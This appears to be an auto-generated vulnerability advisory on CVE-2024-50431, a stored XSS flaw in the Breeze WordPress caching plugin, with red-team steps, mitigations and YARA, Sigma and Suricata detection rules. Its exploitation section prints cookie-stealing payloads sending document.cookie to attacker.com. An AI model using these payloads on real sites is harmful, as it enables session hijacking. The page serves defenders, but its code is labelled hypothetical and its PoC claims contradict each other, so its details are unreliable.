CVE-2024-50431
Executive Summary
CVE-2024-50431 is a Stored Cross-Site Scripting (XSS) vulnerability in the Breeze WordPress caching plugin by Cloudways, affecting versions up to and including 2.1.14. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users, including administrators, leading to session hijacking, defacement, or data theft. The CVSS score is 5.9 (Medium), with a low EPSS probability of exploitation (0.0%). No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the widespread use of the Breeze plugin in the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Breeze WordPress plugin, which is distributed via the official WordPress plugin repository and managed through the WordPress admin dashboard. As a WordPress plugin, it is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: if the plugin is compromised or an update is not applied, attackers can inject malicious scripts into cached pages, affecting all site visitors. Administrators should verify the integrity of the plugin by checking its checksum against the WordPress repository and ensure automatic updates are enabled.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: Low (PR:L) – attacker needs contributor-level access or higher.
- User Interaction: Required (UI:R) – victim must visit the compromised page.
- Scope: Changed (S:C) – impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: Low (A:L) – limited disruption.
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the plugin’s popularity in the WordPress ecosystem elevate the risk. An attacker with low privileges can compromise high-privilege users (e.g., administrators) by injecting scripts that steal cookies or perform actions on their behalf.
Deep Dive & Mechanics
The Breeze plugin is a caching solution for WordPress that optimizes page load times by storing static HTML versions of pages. The vulnerability exists in the plugin’s handling of user input during the caching process. Specifically, when a user submits content (e.g., via comments, custom fields, or shortcodes) that is later rendered in a cached page, the plugin fails to properly sanitize or escape the input before storing it in the cache. This allows an attacker to inject arbitrary JavaScript or HTML into the cached output.
Root Cause: The plugin uses echo or print statements to output user-supplied data without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post(). When the cached page is served to subsequent visitors, the injected script executes in their browsers.
Attack Flow:
- Attacker logs in with contributor-level privileges.
- Attacker submits a post or comment containing a malicious payload, e.g.,
<script>alert('XSS')</script>. - The Breeze plugin caches the page, storing the payload.
- An administrator or other user visits the cached page.
- The payload executes, potentially stealing session cookies, redirecting to a malicious site, or performing actions on behalf of the victim.
WordPress Ecosystem Context: This vulnerability is specific to the Breeze plugin and is not related to Apache or Nginx. It exploits the plugin’s caching mechanism, which is a common feature in WordPress performance plugins.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (Breeze <= 2.1.14):
// In a caching function, user input is directly output
function breeze_cache_output($content) {
// Assume $user_input comes from a shortcode or comment
$cached_page = "<div>" . $user_input . "</div>";
return $cached_page;
}
Patched Code (Hypothetical):
function breeze_cache_output($content) {
// Properly escape user input
$safe_input = esc_html($user_input);
$cached_page = "<div>" . $safe_input . "</div>";
return $cached_page;
}
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site with Breeze plugin <= 2.1.14.
- Attacker account with contributor-level privileges or higher.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Create a new post or edit an existing one.
- In the post content, insert a malicious payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Publish the post.
- Wait for an administrator to visit the post or the homepage (if cached).
- The script executes, sending the admin’s session cookie to the attacker’s server.
Alternative Payload:
<img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">
Blue Team (Defender)
Detection:
- Monitor for unusual post content containing
<script>tags or event handlers. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Enable WordPress’s built-in
wp_ksesfiltering for user roles.
Mitigation:
- Disable the Breeze plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit user roles and remove unnecessary privileges.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing
cookie=ordocument.cookie. - Host: Presence of
<script>tags in cached HTML files under/wp-content/cache/breeze/. - Logs: WordPress debug log entries showing
wp_redirectorwp_diecalls from unknown sources. - File: Modified
.htaccessorwp-config.phpfiles (if attacker escalates privileges).
Detection Engineering
YARA Rule
rule CVE_2024_50431_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Breeze plugin cache files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-50431"
strings:
$script_tag = /<script[\s>]/ nocase
$onerror = /onerror\s*=/ nocase
$onload = /onload\s*=/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-50431 Stored XSS in Breeze Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress Breeze plugin cache
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-50431 Stored XSS in Breeze Plugin"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Breeze plugin until an official patch is released.
- Apply a virtual patch using a WAF to block XSS patterns (e.g.,
<script,onerror). - Review user roles and remove any unnecessary contributor or author accounts.
Long-Term Fix:
- Monitor the Cloudways Breeze plugin page for updates. Once a patched version (e.g., 2.1.15) is released, update immediately.
- Implement a Content Security Policy (CSP) with
script-src 'self'to prevent inline script execution. - Enable WordPress’s automatic plugin updates for critical security patches.
Workaround:
- Use an alternative caching plugin (e.g., WP Super Cache or W3 Total Cache) that is actively maintained and patched.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.